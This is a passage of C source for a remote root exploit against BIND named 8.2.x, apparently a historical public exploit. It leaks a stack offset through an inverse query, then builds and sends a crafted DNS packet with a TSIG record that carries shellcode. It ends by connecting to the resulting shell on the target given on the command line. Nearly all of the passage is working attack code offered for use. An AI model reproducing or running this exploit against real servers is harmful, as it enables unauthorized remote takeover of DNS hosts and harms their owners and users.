                                *ptr++ = (argevdisp2 & 0x0000ff00) >> 8;
                                *ptr++ = (argevdisp2 & 0x00ff0000) >> 16;
                                *ptr++ = (argevdisp2 & 0xff000000) >> 24;
				i += 15;
			}
			else
			{
				if (shellstarted && !shelldone)
				{
					*ptr++ = shellcode[shelloff++];	
					if(shelloff == (sizeof(shellcode)))
						shelldone=1;
				}
				else
				{
					*ptr++ = i;
				}
			}
		}
		
		/* OK: this next set of bytes constitutes the end of the
                 *     NAME field, the QTYPE field, and the QCLASS field.
                 *     We have to have the shellcode skip over these bytes,
                 *     as well as the leading 0x3f (63) byte for the next
                 *     NAME field.  We do that by putting a jmp instruction
                 *     here.
                 */
		*ptr++ = 0xeb;
		
		if (k == 0)
		{
			*ptr++ = 10;
			
			/* For alignment reasons, we need to stick an extra
                         * NAME segment in here, of length 3 (2 + header).
                         */
			m = 2;
			*ptr++ = (char)m;        // header
			ptr += 2;
		}
		else
		{
			*ptr++ = 0x07;
		}
		
		/* End the NAME with a compressed pointer.  Note that it's
                 * not clear that the value used, C0 00, is legal (it
                 * points to the beginning of the packet), but BIND apparently
                 * treats such things as name terminators, anyway.
                 */
		*ptr++ = 0xc0; /*NS_CMPRSFLGS*/
		*ptr++ = 0x00; /*NS_CMPRSFLGS*/
		
		ptr += 4;      /* QTYPE, QCLASS */
	}
	
	/* Now we make the TSIG AR */
	*ptr++ = 0x00;       /* Empty name */

	PUTSHORT(0xfa, ptr); /* Type  TSIG */
	PUTSHORT(0xff, ptr); /* Class ANY  */

	bufflen = ptr - buff;
	
	// dumpbuf(buff, bufflen);

	return(bufflen);
}

long xtract_offset(char* buff, int len)
{
	long ret;
	
	/* Here be dragons. */
	/* (But seriously, the values here depend on compilation options
         *  used for BIND.
         */
	ret = *((long*)&buff[0x214]);
	argevdisp1 = 0x080d7cd0;
	argevdisp2 = *((long*)&buff[0x264]);
	printf("[d] argevdisp1 = %08x, argevdisp2 = %08x\n",
		argevdisp1, argevdisp2);
	
	// dumpbuf(buff, len);
	
	return(ret);
}




int main(int argc, char* argv[])
{
	struct sockaddr_in sa;
	int sock;
	long address;
	char buff[BUFFSIZE];
	int len, i;
	long offset;
	socklen_t reclen;
	unsigned char foo[4];

	printf("[*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft, Ix\n");
	printf("[*] fixed by ian@cypherpunks.ca and jwilkins@bitland.net\n\n");

	address = 0;
	if (argc < 2)
	{
		printf("[*] usage : %s host\n", argv[0]);

		return(-1);
	}

	if (!(address = resolve_host(argv[1])))
	{
		printf("[x] unable to resolve %s, try using an IP address\n", argv[1]);
		return(-1);
	} else {
		memcpy(foo, &address, 4);
		printf("[*] attacking %s (%d.%d.%d.%d)\n", argv[1], foo[0], foo[1], foo[2], foo[3]);
	}
	
	sa.sin_family = AF_INET;

	if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0)))
	{
		return(-1);
	}
	
	sa.sin_family = AF_INET;
	sa.sin_port = htons(53);
	sa.sin_addr.s_addr= address;
	
	
	len = infoleak_qry(buff);
	printf("[d] infoleak_qry was %d long\n", len);
	len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
	if (len < 0)
	{
		printf("[*] unable to send iquery\n");
		return(-1);
	}
	
	reclen = sizeof(sa);
	len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen);
	if (len < 0)
	{
                printf("[x] unable to receive iquery answer\n");
                return(-1);	
	}
	printf("[*] iquery resp len = %d\n", len);
	
	offset = xtract_offset(buff, len);
	printf("[*] retrieved stack offset = %x\n", offset);
	
	
	len = evil_query(buff, offset);
	if(len < 0){
		printf("[x] error sending tsig packet\n");
		return(0);
	}
	
	sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
	
	if (0 > close(sock))
	{
		return(-1);
	}

	connection(sa);

	return(0);	
}